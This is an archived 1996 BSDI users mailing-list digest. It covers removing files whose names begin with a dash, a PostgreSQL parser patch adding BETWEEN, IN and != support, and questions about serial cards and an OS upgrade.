23:04:13 -0500 (EST) Path: not-for-mail Newsgroups: info.bsdi.users Organization: Akorn Access, Inc. Lines: 26 Message-ID: <01bbde6c$44631900$2864d9cd@Pkevin> References: NNTP-Posting-Host: 205.217.100.40 X-Newsreader: Microsoft Internet News 4.70.1155 Precedence: bulk From: "Spankboy" Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Re: Running on a Dual Pentium system Date: 30 Nov 1996 03:08:39 GMT the only o/s that micro kernels to each processor is nt, solaris and mach. kevin "Edwin C. Philips" wrote in article ... > > > On Tue, 19 Nov 1996, Alan B. Clegg wrote: > > > I've got a client that is preparing to move from SCO to BSDi (yay!). One > > of their systems is a dual Pentium, and I don't know how BSDi (2.1) is > > going to handle that. Will I need to disable (via Setup or pulling the > > chip) the second processor, or will it just be ignored? > > > I asked BSDI that very question when we purchased it. Their tech said it > will ignore the second processor (Though they are supposedly working on > dual processor support). > > > Edwin C. Philips > edwin@tcsourceone.com > > From VM Sun Dec 1 18:03:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["393" "" "30" "November" "1996" "01:49:59" "GMT" "Richard Drage" "richard@proweb.net" nil "27" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA24467 for ; Fri, 29 Nov 1996 23:14:58 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA03086 for bsdi-users-outgoing; Fri, 29 Nov 1996 23:04:04 -0500 (EST) Path: vixen.cso.uiuc.edu!news.uoregon.edu!arclight.uoregon.edu!enews.sgi.com!ix.netcom.com!netcom.net.uk!xara.net!emerald.xara.net!Aladdin!proweb!usenet Newsgroups: info.bsdi.users Organization: Proweb (UK) Ltd Lines: 26 Message-ID: <01bbde60$f3dd1680$0a8eb0c2@Richard.Proweb> References: NNTP-Posting-Host: red.proweb.net X-Newsreader: Microsoft Internet News 4.70.1155 Precedence: bulk From: "Richard Drage" Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: files with a - in them Date: 30 Nov 1996 01:49:59 GMT Have you tried : rm "-*" Works for most 'odd' file names Regards Richard Drage richard@proweb.net Brian Backer wrote in article ... > > Anyone every had any luck getting rid of files with names > starting like > > -* > > That "-" really screws things up, if ther is a way, please let me know. > > From VM Sun Dec 1 18:03:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["9398" "Fri" "29" "November" "1996" "23:24:09" "-0500" "Bruce Momjian" "maillist@candle.pha.pa.us" nil "305" "IN, BETWEEN added, != added, psql prompt patch" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA25012 for ; Fri, 29 Nov 1996 23:28:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA03127 for bsdi-users-outgoing; Fri, 29 Nov 1996 23:23:11 -0500 (EST) Message-Id: <199611300424.XAA07503@candle.pha.pa.us> X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Bruce Momjian Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@lists.gateway.com (BSDI mailing list) Subject: IN, BETWEEN added, != added, psql prompt patch Date: Fri, 29 Nov 1996 23:24:09 -0500 (EST) I have installed the attached patch to the 2.0 CVS source. It does several things. First, it adds BETWEEN,NOT BETWEEN,IN,NOT IN to the grammar, the outputs equivalent =,<>, AND, OR statements from the parser. I looked at transformWhere(), and it calls transformExpr() to do the work, and I did not want to be expanding the nodes WHILE I was processing them. This is much cleaner. The only cleaner solution would have been to implement them all the way through the optimizer and executor, and that didn't seem worth it. ( I am currently thinking more about subselects.) Second, I have mapped != to <> in the lexical input. This means you can now type: select * from x where x != 3; This just seems too natural not to have. If you create an operator of !=, it will actually be created as <>, so that should work fine. We could have required <> and != to be defined as the same thing in the pg_operator table, but that seems to be a waste. The only problem is that if someone wants to define != to be different than <>, they can't. I feel that would be a serious bad design decision, and I don't suppose anyone would want to do that. The third change is to change the psql prompt to indicate what state you are in within psql: => start of query -> within query '> within quote If anyone has suggestions for changes to this, let me know. --------------------------------------------------------------------------- *** ./backend/parser/gram.y.orig Fri Nov 29 10:40:14 1996 --- ./backend/parser/gram.y Fri Nov 29 21:22:11 1996 *************** *** 46,52 **** static char saved_relname[NAMEDATALEN]; /* need this for complex attributes */ static bool QueryIsRule = FALSE; ! extern List *parsetree; /* --- 46,52 ---- static char saved_relname[NAMEDATALEN]; /* need this for complex attributes */ static bool QueryIsRule = FALSE; ! static Node *saved_In_Expr; extern List *parsetree; /* *************** *** 57,63 **** /*#define __YYSCLASS*/ static char *xlateSqlType(char *); ! static Node *makeA_Expr(int op, char *opname, Node *lexpr, Node *rexpr); /* old versions of flex define this as a macro */ #if defined(yywrap) --- 57,63 ---- /*#define __YYSCLASS*/ static char *xlateSqlType(char *); ! static Node *makeA_Expr(int oper, char *opname, Node *lexpr, Node *rexpr); /* old versions of flex define this as a macro */ #if defined(yywrap) *************** *** 127,134 **** oper_argtypes, OptStmtList, OptStmtBlock, opt_column_list, columnList, sort_clause, sortby_list, index_params, name_list, from_clause, from_list, opt_array_bounds, nest_array_bounds, ! expr_list, attrs, res_target_list, res_target_list2, def_list, ! opt_indirection, group_clause, groupby_list, explain_options %type opt_inh_star, opt_binary, opt_instead, opt_with_copy, index_opt_unique --- 127,134 ---- oper_argtypes, OptStmtList, OptStmtBlock, opt_column_list, columnList, sort_clause, sortby_list, index_params, name_list, from_clause, from_list, opt_array_bounds, nest_array_bounds, ! expr_list, attrs, res_target_list, res_target_list2, ! def_list, opt_indirection, group_clause, groupby_list, explain_options %type opt_inh_star, opt_binary, opt_instead, opt_with_copy, index_opt_unique *************** *** 145,151 **** %type columnDef %type def_elem %type def_arg, columnElem, where_clause, ! a_expr, AexprConst, having_clause, groupby %type NumConst %type event_object, attr %type sortby --- 145,152 ---- %type columnDef %type def_elem %type def_arg, columnElem, where_clause, ! a_expr, AexprConst, in_expr_nodes, not_in_expr_nodes, ! having_clause, groupby %type NumConst %type event_object, attr %type sortby *************** *** 169,178 **** /* Keywords */ %token ABORT_TRANS, ACL, ADD, AFTER, AGGREGATE, ALL, ALTER, AND, APPEND, ! ARCHIVE, ARCH_STORE, AS, ASC, BACKWARD, BEFORE, BEGIN_TRANS, BINARY, ! BY, CAST, CHANGE, CLOSE, CLUSTER, COLUMN, COMMIT, COPY, CREATE, CURRENT, ! CURSOR, DATABASE, DECLARE, DELETE, DELIMITERS, DESC, DISTINCT, DO, ! DROP, END_TRANS, EXTEND, FETCH, FOR, FORWARD, FROM, FUNCTION, GRANT, GROUP, HAVING, HEAVY, IN, INDEX, INHERITS, INSERT, INSTEAD, INTO, IS, ISNULL, LANGUAGE, LIGHT, LISTEN, LOAD, MERGE, MOVE, NEW, --- 170,179 ---- /* Keywords */ %token ABORT_TRANS, ACL, ADD, AFTER, AGGREGATE, ALL, ALTER, AND, APPEND, ! ARCHIVE, ARCH_STORE, AS, ASC, BACKWARD, BEFORE, BEGIN_TRANS, BETWEEN, ! BINARY, BY, CAST, CHANGE, CLOSE, CLUSTER, COLUMN, COMMIT, COPY, CREATE, ! CURRENT, CURSOR, DATABASE, DECLARE, DELETE, DELIMITERS, DESC, DISTINCT, ! DO, DROP, END_TRANS, EXTEND, FETCH, FOR, FORWARD, FROM, FUNCTION, GRANT, GROUP, HAVING, HEAVY, IN, INDEX, INHERITS, INSERT, INSTEAD, INTO, IS, ISNULL, LANGUAGE, LIGHT, LISTEN, LOAD, MERGE, MOVE, NEW, *************** *** 199,204 **** --- 200,207 ---- %right NOT %right '=' %nonassoc LIKE + %nonassoc BETWEEN + %nonassoc IN %nonassoc Op %nonassoc NOTNULL %nonassoc ISNULL *************** *** 1813,1818 **** --- 1816,1835 ---- { $$ = makeA_Expr(NOTNULL, NULL, $1, NULL); } | a_expr IS NOT PNULL { $$ = makeA_Expr(NOTNULL, NULL, $1, NULL); } + | a_expr BETWEEN AexprConst AND AexprConst + { $$ = makeA_Expr(AND, NULL, + makeA_Expr(OP, ">=", $1, $3), + makeA_Expr(OP, "<=", $1,$5)); + } + | a_expr NOT BETWEEN AexprConst AND AexprConst + { $$ = makeA_Expr(OR, NULL, + makeA_Expr(OP, "<", $1, $4), + makeA_Expr(OP, ">", $1, $6)); + } + | a_expr IN { saved_In_Expr = $1; } '(' in_expr_nodes ')' + { $$ = $5; } + | a_expr NOT IN { saved_In_Expr = $1; } '(' not_in_expr_nodes ')' + { $$ = $6; } | a_expr AND a_expr { $$ = makeA_Expr(AND, NULL, $1, $3); } | a_expr OR a_expr *************** *** 1838,1850 **** | /* EMPTY */ { $$ = NIL; } ; ! expr_list: a_expr { $$ = lcons($1, NIL); } | expr_list ',' a_expr { $$ = lappend($1, $3); } ; attr: relation_name '.' attrs { $$ = makeNode(Attr); --- 1855,1883 ---- | /* EMPTY */ { $$ = NIL; } ; ! expr_list: a_expr { $$ = lcons($1, NIL); } | expr_list ',' a_expr { $$ = lappend($1, $3); } ; + in_expr_nodes: AexprConst + { $$ = makeA_Expr(OP, "=", saved_In_Expr, $1); } + | in_expr_nodes ',' AexprConst + { $$ = makeA_Expr(OR, NULL, $1, + makeA_Expr(OP, "=", saved_In_Expr, $3)); + } + ; + + not_in_expr_nodes: AexprConst + { $$ = makeA_Expr(OP, "<>", saved_In_Expr, $1); } + | not_in_expr_nodes ',' AexprConst + { $$ = makeA_Expr(AND, NULL, $1, + makeA_Expr(OP, "<>", saved_In_Expr, $3)); + } + ; + attr: relation_name '.' attrs { $$ = makeNode(Attr); *************** *** 2085,2094 **** %% ! static Node *makeA_Expr(int op, char *opname, Node *lexpr, Node *rexpr) { A_Expr *a = makeNode(A_Expr); ! a->oper = op; a->opname = opname; a->lexpr = lexpr; a->rexpr = rexpr; --- 2118,2127 ---- %% ! static Node *makeA_Expr(int oper, char *opname, Node *lexpr, Node *rexpr) { A_Expr *a = makeNode(A_Expr); ! a->oper = oper; a->opname = opname; a->lexpr = lexpr; a->rexpr = rexpr; *************** *** 2114,2120 **** { QueryIsRule = false; saved_relname[0]= '\0'; ! param_type_init(typev, nargs); } --- 2147,2154 ---- { QueryIsRule = false; saved_relname[0]= '\0'; ! saved_In_Expr = NULL; ! param_type_init(typev, nargs); } *** ./backend/parser/keywords.c.orig Fri Nov 29 10:44:35 1996 --- ./backend/parser/keywords.c Fri Nov 29 10:45:55 1996 *************** *** 48,53 **** --- 48,54 ---- { "backward", BACKWARD }, { "before", BEFORE }, { "begin", BEGIN_TRANS }, + { "between", BETWEEN }, { "binary", BINARY }, { "by", BY }, { "cast", CAST }, *** ./backend/parser/scan.l.orig Fri Nov 29 21:53:10 1996 --- ./backend/parser/scan.l Fri Nov 29 21:55:55 1996 *************** *** 97,103 **** {self} { return (yytext[0]); } {operator} { ! yylval.str = pstrdup((char*)yytext); return (Op); } {param} { yylval.ival = atoi((char*)&yytext[1]); --- 97,106 ---- {self} { return (yytext[0]); } {operator} { ! if (strcmp((char*)yytext,"!=") == 0) ! yylval.str = pstrdup("<>"); /* compatability */ ! else ! yylval.str = pstrdup((char*)yytext); return (Op); } {param} { yylval.ival = atoi((char*)&yytext[1]); *** ./bin/psql/psql.c.orig Fri Nov 29 10:35:06 1996 --- ./bin/psql/psql.c Fri Nov 29 10:38:53 1996 *************** *** 1272,1277 **** --- 1272,1284 ---- line = strdup(query); query[0] = '\0'; } else { + sprintf(settings->prompt, "%s%s", PQdb(settings->db), PROMPT); + if (in_quote) + settings->prompt[strlen(settings->prompt)-3] = '\''; + else if (query[0] != '\0' && !querySent) + settings->prompt[strlen(settings->prompt)-3] = '-'; + else + settings->prompt[strlen(settings->prompt)-3] = '='; line = GetNextLine(settings->prompt, source); if (interactive && settings->useReadline && line != NULL) add_history(line); /* save non-empty lines in history */ From VM Sun Dec 1 18:03:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["505" "Fri" "29" "November" "1996" "23:47:31" "-0500" "Brian Backer" "bbacker@mail.blink.net" nil "26" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA25824 for ; Sat, 30 Nov 1996 00:02:43 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA03178 for bsdi-users-outgoing; Fri, 29 Nov 1996 23:56:53 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: Sherwood Pekelo cc: bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Fri, 29 Nov 1996 23:47:31 -0500 (EST) nope didn't work On Thu, 28 Nov 1996, Sherwood Pekelo wrote: > On Fri, 29 Nov 1996, Brian Backer wrote: > > > > > Anyone every had any luck getting rid of files with names > > starting like > > > > -* > > > > That "-" really screws things up, if ther is a way, please let me know. > > > try rm ./-* <-- p. 81 Essential System Administration AEleen Frisch > O'Reilly & Associates, Inc. etc etc etc... found it under files deleting > hard cases > > -- > Aloha from Paradise, > > Sherwood > > From VM Sun Dec 1 18:03:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["534" "Fri" "29" "November" "1996" "23:49:46" "-0500" "Brian Backer" "bbacker@mail.blink.net" nil "28" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA25829 for ; Sat, 30 Nov 1996 00:03:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA03186 for bsdi-users-outgoing; Fri, 29 Nov 1996 23:58:40 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: Chip Ach cc: bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Fri, 29 Nov 1996 23:49:46 -0500 (EST) sorry doesn't work. On Fri, 29 Nov 1996, Chip Ach wrote: > rm -- -whatever > > -- generally stops options from being processed. > > > My FAVORITE way to do this is to use dired (control-x d) in emacs. Go > to the file, hit d next to it, and then x to do away with the file. > > -Chip > > On Fri, 29 Nov 1996, Brian Backer wrote: > > > > > Anyone every had any luck getting rid of files with names > > starting like > > > > -* > > > > That "-" really screws things up, if ther is a way, please let me know. > > > > > From VM Sun Dec 1 18:03:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["864" "Fri" "29" "November" "1996" "23:54:11" "-0500" "Brian Backer" "bbacker@mail.blink.net" nil "32" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA26101 for ; Sat, 30 Nov 1996 00:08:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA03200 for bsdi-users-outgoing; Sat, 30 Nov 1996 00:03:16 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: Ralph Huntington cc: bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Fri, 29 Nov 1996 23:54:11 -0500 (EST) The exact file name is -vGgZ{ every time I try someones recomendation, it either says no match or missing } I can't seem to figure it out. I did read the pages in alot of places, it just seems nothing works. if anyone wants a copy of the file, I will ftp it to them so they can have a go with it :):):):):) heheeh On Fri, 29 Nov 1996, Ralph Huntington wrote: > > Anyone every had any luck getting rid of files with names starting like > > > > -* > > Sure. I paste from man rm > > Users often wonder how to deal with filenames that begin with ``-'', > given that arguments that begin with ``-'' are usually treated as flags. > The special flag ``--'' tells programs not to interpret following argu- > ments as flags. Thus, to delete a file named ``-foo'', type: > > rm -- -foo > > Tsk, tsk, tsk, Brian. You didn't rtfm. {8-\ > > - rh > > From VM Sun Dec 1 18:03:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2891" "Fri" "29" "November" "1996" "21:11:59" "PST" "Berry Kercheval" "kerch@parc.xerox.com" nil "76" "Re: files with a - in them " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA26109 for ; Sat, 30 Nov 1996 00:16:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA03221 for bsdi-users-outgoing; Sat, 30 Nov 1996 00:13:13 -0500 (EST) X-Mailer: exmh version 1.6.9 8/22/96 In-reply-to: Your message of "Fri, 29 Nov 1996 17:49:59 PST." <01bbde60$f3dd1680$0a8eb0c2@Richard.Proweb> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <96Nov29.211159pst."304513"@reynaldo.parc.xerox.com> Precedence: bulk From: Berry Kercheval Sender: owner-bsdi-users@lists.gateway.com To: "Richard Drage" cc: bsdi-users@lists.gateway.com Subject: Re: files with a - in them Date: Fri, 29 Nov 1996 21:11:59 PST >>>"Richard Drage" said: > Have you tried : > > rm "-*" > > Works for most 'odd' file names Well, no. Ordinarily I stay out of things like this because it's SOOO basic, but there sseems to be a fundamental misunderstanding about what's going on in some people's minds. Apologies to folks who know this cold. Incidentally this is one of the most frequently asked questions about Unix, so go find the comp.unix.questions faq and read it. It will do you good... And though I've been using Unix and BSD/OS a long time, I *tested* everything I say works, and it worked, and I tested everything I say doesn't, and it didn't. We want to remove a file named, say "-foo". The basic problem is that 'rm' interprets command line arguments that start with '-' as options, such as '-f' meaning "be quiet about things" and '-r' meaning "do all the subdirectories, and their children, yea unto the Nth generation". What happens when you type rm -foo is (simplified) that the shell breaks the line into words, "rm" and "foo", makes an array of pointers to these strings, and runs the 'rm' program it finds on your $PATH with this array as argv[]. Then 'rm' looks at each element in the list and says "Does this start with a '-'? If yes, it's a option...". So quoting arguments to the shell as in rm "-*" won't help a bit. Rm will still get two arguments, argv[0] will be "rm" and argv[1] will be "-*". [[ note that the quotes DO prevent the '*' from being expanded by the shell, but that's irrelevant to this discussion.]] ANd rm will still get confused by the '-'. (when I tried the above, I got dzur% rm "-*" rm: illegal option -- * usage: rm [-dfiRr] file ... ) So, there are really only three ways to solve the problem: 1) Convince rm not to interpret the '-' as an option switch. This can be done in modern versions (which BSD/OS has) by using the special option '--' which means "terminate option processing". so rm -- -foo is our class 1 solution. 2) express the name of the file in such a way that it does not start with a '-' character. Giving the full path ("/usr/doofus/src/lart/-foo") or a relative path ("./-foo" -- remember that '.' is the current directory) are examples of this class of solution. rm ./-foo is an example. 3) use a different tool to remove the file. This sidesteps the issue altogether. Using find ('find . -name -foo -exec rm {} \;') or emacs dired-mode are examples. My favorite is dsw. (OK, I didn't test dsw on BSD/OS, but I did everything else, even that find command. If people ask "What's dsw" I'll know someone read all of this...) Sorry for the long-windedness, but I think that educating folks about WHY this works is important. Sort of the "Don't give a man a fish, teach him to catch fish" principle. --berry Berry Kercheval :: kerch@parc.xerox.com :: Xerox Palo Alto Research Center From VM Sun Dec 1 18:03:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["293" "Sat" "30" "November" "1996" "16:14:56" "+1100" "Dave Horsfall" "dave@fgh.oz.au" nil "8" "Hayes 8-port card?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA26377 for ; Sat, 30 Nov 1996 00:17:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA03247 for bsdi-users-outgoing; Sat, 30 Nov 1996 00:17:07 -0500 (EST) Message-Id: X-Witty-Saying: "Klein Bottle - open other end" X-Disclaimer: "Me, speak for us?" Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Dave Horsfall Sender: owner-bsdi-users@lists.gateway.com To: BSDi Users Subject: Hayes 8-port card? Date: Sat, 30 Nov 1996 16:14:56 +1100 (EST) Anyone had any luck getting this going? It looks like two ports, with three slave ports each, and therefore needs driver mods. -- Dave Horsfall VK2KFU dave@fgh.oz.au Ph: +61 2 9957-4224 Fx: +61 2 9922-5286 FGH Decision Support Systems P/L, 77 Pacific Hwy, Nth. Sydney, 2060, Australia From VM Sun Dec 1 18:03:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["212" "Fri" "29" "November" "1996" "22:55:40" "-0700" "Garth Hart" "ghart@peacenet.com" nil "9" "Digiboard" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA27459 for ; Sat, 30 Nov 1996 01:02:56 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA03277 for bsdi-users-outgoing; Sat, 30 Nov 1996 00:57:15 -0500 (EST) Message-ID: <329FCC5C.55FB@peacenet.com> Reply-To: ghart@peacenet.com X-Mailer: Mozilla 3.0Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Garth Hart Sender: owner-bsdi-users@lists.gateway.com To: BSDI Users Group Subject: Digiboard Date: Fri, 29 Nov 1996 22:55:40 -0700 Does anyone know how to configure the kernel for a PCI Digi Xem board? -- ************************************************************************************** Garth Hart :-) http://www.peacenet.com/~garth/ From VM Sun Dec 1 18:03:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["557" "Fri" "29" "November" "1996" "23:18:08" "-0800" "Keith McCallion" "keith@iswest.net" nil "18" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id CAA01245 for ; Sat, 30 Nov 1996 02:28:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id CAA05009 for bsdi-users-outgoing; Sat, 30 Nov 1996 02:20:09 -0500 (EST) X-Sender: keith@user1.iswest.com In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Keith McCallion Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer cc: Ralph Huntington , bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Fri, 29 Nov 1996 23:18:08 -0800 (PST) On Fri, 29 Nov 1996, Brian Backer wrote: > The exact file name is -vGgZ{ > every time I try someones recomendation, it either says > no match or > missing } try rm -f "-vGgZ{" or rm -i * (Only select the one you want deleted.) Keith --- Keith McCallion Coder/Tech Support Trippin@irc Asst SysAdmin/IRC Admin keith@iswest.net Internet Specialties West http://www.iswest.com/~keith/ 31194 La Baya Dr, Ste 106 Phone: (818) 735-3000 Fax: (818) 865-0614 From VM Sun Dec 1 18:03:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1346" "Sat" "30" "November" "1996" "17:37:42" "+1000" "Allan McDonald" "allanmac@ultra.net.au" nil "39" "Upgrade from 2.01 to 2.1 getty probs" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id CAA01516 for ; Sat, 30 Nov 1996 02:35:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id CAA05040 for bsdi-users-outgoing; Sat, 30 Nov 1996 02:36:43 -0500 (EST) Message-Id: <2.2.32.19961130073742.009565a4@mailhost.ultra.net.au> X-Sender: allanmac@mailhost.ultra.net.au X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Allan McDonald Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@lists.gateway.com Subject: Upgrade from 2.01 to 2.1 getty probs Date: Sat, 30 Nov 1996 17:37:42 +1000 Hi.. I finally made the bold move to down my 2.01 system for a couple of hours, to upgrade our Server to 2.1.. Had the upgrade for a short while, but just got around to doing it recently.. The system is a Pentium 64MbRAM, 4GB SCSI, with a Digi-PCXem16 card with 32 I/O ports. We backed up the system, and did the upgrade.. could talk to the world.. Added support for the digi-board, and add ppp's etc and re-made the kernel.. all looked good.. so tried to let the users on line.. :-( Problem..... None of the lines could get a login... Getty appeared to be running.. but nothing showing up on the dialin lines...... I did get a login: when I echo'd something to the tty port, along with stuff I sent to the tty port.. but could not coach any input from the tty port to the getty program.. I also appeared to have the same problem with the serial port 2, so don't think it was the digiboard.. anyway, as users were getting anxious, to get back to their netscapes & Irc's we had to do a quick restore, and now, we're back to 2.01 again, Well at least till I can find some answers, so I can get the courage to try again.... If any one else on this list had similar experiences and fixes.. I would be glad of some help. Regards, Allan McDonald. ULTRANET Townsville's Internet Gateway http://www.ultra.net.au/ From VM Sun Dec 1 18:03:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1204" "Fri" "29" "November" "1996" "23:33:37" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "46" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id CAA01521 for ; Sat, 30 Nov 1996 02:35:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id CAA05032 for bsdi-users-outgoing; Sat, 30 Nov 1996 02:34:16 -0500 (EST) Message-Id: <3.0.1.32.19961129233119.006ab1ac@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer Cc: Ralph Huntington , bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Fri, 29 Nov 1996 23:33:37 -0800 You should be able to do it by changing directories into the one with the bogus file and running the following command: find . -name "*vGgZ*" -exec rm {} \; Assuming of course that *vGgZ* is unique enough to keep you from losing something else. -Kent- At 11:54 PM 11/29/96 -0500, Brian Backer wrote: >The exact file name is -vGgZ{ >every time I try someones recomendation, it either says >no match or >missing } > >I can't seem to figure it out. I did read the pages in alot of places, >it just seems nothing works. if anyone wants a copy of the file, I will >ftp it to them so they can have a go with it :):):):):) heheeh > > > >On Fri, 29 Nov 1996, Ralph Huntington wrote: > >> > Anyone every had any luck getting rid of files with names starting like >> > >> > -* >> >> Sure. I paste from man rm >> >> Users often wonder how to deal with filenames that begin with ``-'', >> given that arguments that begin with ``-'' are usually treated as flags. >> The special flag ``--'' tells programs not to interpret following argu- >> ments as flags. Thus, to delete a file named ``-foo'', type: >> >> rm -- -foo >> >> Tsk, tsk, tsk, Brian. You didn't rtfm. {8-\ >> >> - rh >> >> > > From VM Sun Dec 1 18:03:48 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["365" "Sat" "30" "November" "1996" "09:44:42" "+0000" "ARC Informatique" "arc@ns.arc.sn" nil "14" "MAC floppy out of Unix" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id EAA05278 for ; Sat, 30 Nov 1996 04:42:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id EAA05314 for bsdi-users-outgoing; Sat, 30 Nov 1996 04:37:01 -0500 (EST) In-Reply-To: <2.2.32.19961130073742.009565a4@mailhost.ultra.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: ARC Informatique Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@lists.gateway.com Subject: MAC floppy out of Unix Date: Sat, 30 Nov 1996 09:44:42 +0000 (WAT) Hi, I have a small and maybe stupid question. I'd like to download MAC files to my Unix server and then copy the same files to a floppy that can be used in a MAC environment. I think I have to use the "dd" command. I have the same problem for PC files. Could someone give me the instructions ? Thanks in Advance. Mohsen CHIRARA Internet in Senegal, Africa From VM Sun Dec 1 18:03:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["60" "Sat" "30" "November" "1996" "05:00" "PST" "Randy Bush" "randy@psg.com" nil "4" "k5" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA10644 for ; Sat, 30 Nov 1996 08:05:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id IAA05470 for bsdi-users-outgoing; Sat, 30 Nov 1996 08:01:00 -0500 (EST) Message-Id: Precedence: bulk From: randy@psg.com (Randy Bush) Sender: owner-bsdi-users@lists.gateway.com To: BSDI users list Subject: k5 Date: Sat, 30 Nov 